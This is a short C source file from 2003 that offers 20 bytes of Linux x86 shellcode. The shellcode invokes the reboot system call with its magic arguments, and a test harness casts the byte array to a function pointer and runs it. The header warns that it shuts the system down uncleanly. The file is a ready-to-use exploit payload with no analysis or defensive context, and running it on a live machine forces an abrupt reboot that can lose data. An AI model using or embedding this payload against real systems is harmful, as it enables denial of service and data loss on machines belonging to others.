/*
 * linux_x86 shellcode for reboot()
 *
 * Warning!! Shutdowns the system uncleanly !!
 */

/* 
 * NrAziz(C) 2003 nraziz^at^geekz^nl
 * greetz to rave(rave.dtors.net)...
 * www.geekz.nl
 */

#include <stdio.h>

/* 20 bytes! */
char shellcode[]= "\xba\xdc\xfe\x21\x43" /* movl $0x4321fedc,%edx */
                  "\xb9\x69\x19\x12\x28" /* movl $0x28121969,%ecx */ 
                  "\xbb\xad\xde\xe1\xfe" /* movl $0xfee1dead,%ebx */
                  "\xb0\x58"             /* movb $0x58,%al        */
                  "\xcd\x80"             /* int $0x80             */
;

void main()
{
  void (*fun)();
  printf("Size of shellcode :%d\n",sizeof(shellcode));
 fun=(void*)&shellcode;
 fun();
}